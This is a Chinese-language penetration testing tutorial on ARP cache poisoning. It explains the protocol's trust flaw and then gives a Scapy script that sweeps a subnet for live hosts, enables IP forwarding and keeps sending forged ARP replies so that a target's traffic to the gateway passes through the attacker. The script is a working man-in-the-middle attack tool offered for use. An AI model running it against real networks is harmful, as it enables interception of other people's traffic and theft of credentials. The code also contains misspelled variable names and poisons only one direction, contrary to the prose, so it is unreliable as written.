Python渗透测试之ARP毒化和协议应用

1. ARP毒化

ARP毒化是一种比较老的渗透测试技术，通过ARP毒化技术分析并提取内网流量中的敏感信息，往往会有许多意外的收获。

1.1 工作原理

ARP（地址解析协议）是数据链路层的协议，主要负责根据网络层地址（IP）来获取数据链路层地址（MAC）。以太网协议规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须知道目标主机的MAC地址。而在TCP/IP中，网络只关注目标主机的IP地址，这就导致在以太网中使用IP协议时，数据链路层的以太网协议接收到网络层的IP协议提供的数据中，只包含目的主机IP地址，于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的，ARP有一个重大缺陷：ARP是建立在网络中各个主机互相信任的基础上的，主机接收到ARP应答报文时不会检测该报文的真实性，而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项，则会对其进行更新。由此，攻击者可以向受害者主机发送伪ARP应答包，毒化受害主机的ARP缓存表。如下图：

开始毒化时，攻击机会给靶机发送ARP应答包说“我就是网关”，同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷，靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示，靶机和网关之间的流量都要通过攻击机。

靶机ARP毒化之前，网关IP和MAC地址、攻击机IP和MAC地址，缓存表如下图红框：

下图是攻击机MAC地址

靶机ARP毒化之后，网关IP和MAC地址，缓存表如下图红框：

网关MAC地址变成攻击机的MAC地址了。

1.2 ARP毒化及应用

运行环境：

攻击机：Linux kali 5.10.0

靶机：Win10

功能模块：

获取网段内存活主机
获取指定IP主机的MAC地址
ARP毒化

示例代码如下：

#_*_coding:utf-8_*_
# 作者      ：liuxiaowei
# 创建时间   ：4/25/22 9:08 AM
# 文件      ：arp获取网络存活主机.py
# IDE      ：PyCharm


from scapy.all import *
import sys
import os

# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {}

# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):
    # IP扫描列表
    scanList = lip + '/24'
    try:
        # 通过对每个IP都进行ARP广播，获得存活主机的MAC地址
        ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)
    except Exception as e:
        print(e)

    # ARP广播发送完毕后执行
    else:
        # ans包含存活主机返回的响应包和响应内容
        for send, rcv in ans:
            addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")
            liveHost[addrList.split("|")[1]] = addrList.split("|")[0]

# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):
    # 若该IP地址存在，则返回MAC地址
    if targetIP in liveHost.keys():
        return liveHost[targetIP]
    else:
        return 0

# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):
    # 获取毒化主机的MAC地址
    targetMac = GetOneMAC(targetIP)
    # 获取网关的MAC地址
    gatewayMac = GetOneMAC(gatewayIP)

    if targetMac and gatewaMac:
        while True:
            # 对目标主机毒化
            sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),
                  iface = ifname, verbose = False)
            time.sleep(1)
    else:
        print('目标主机/网关主机IP有误，请检查！')
        sys.exit(0)

if __name__ == "__main__":
    # 程序界面
    print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')

    print('\n\t\t\t[1] 获取网段内存活主机：')
    print('\n\t\t\t[2] 获取指定IP主机的MAC地址')
    print('\n\t\t\t[3] ARP毒化')
    print('\n\t\t\t[4] 退  出 ')
    # while 循环
    Done = True
    while Done:
        choice = int(input('\n\t\t\033[0;30;44m 请输入选项：\t \033[0m'))
        if choice == 1:
            lip = input('\n\t\t\033[0;30;44m 请输入网段地址：\t  \033[0m')
            GetAllMAC(lip)
            print(f'\n开始收集存活的主机.....：\n{liveHost}')
            print(f'存活主机数量为:{len(liveHost)}个')

        elif choice == 2:
            targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址：\t \033[0m')
            print(f'主机{targetip}的MAC地址： {GetOneMAC(targetip)}')
        elif choice == 3:
            print('\033[0;30;41m 开启路由转发功能.........\033[0m')
            os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
            targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址：\t \033[0m')
            gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址：\t \033[0m')
            ifname = 'eth0'
            lmac = get_if_hwaddr(ifname)  # 获取本地mac地址

            try:
                print('\033[0;30;41m 开始毒化.........\033[0m')
                print(lmac)
                print(targetip)
                poison(targetip, gatewayip, ifname)
            except KeyboardInterrupt:
                print('\033[0;30;41m === 停止ARP毒化 === \033[0m')
                print('\033[0;30;41m === 停止路由转发功能 === \033[0m')

        elif choice == 4:
            Done = False
            break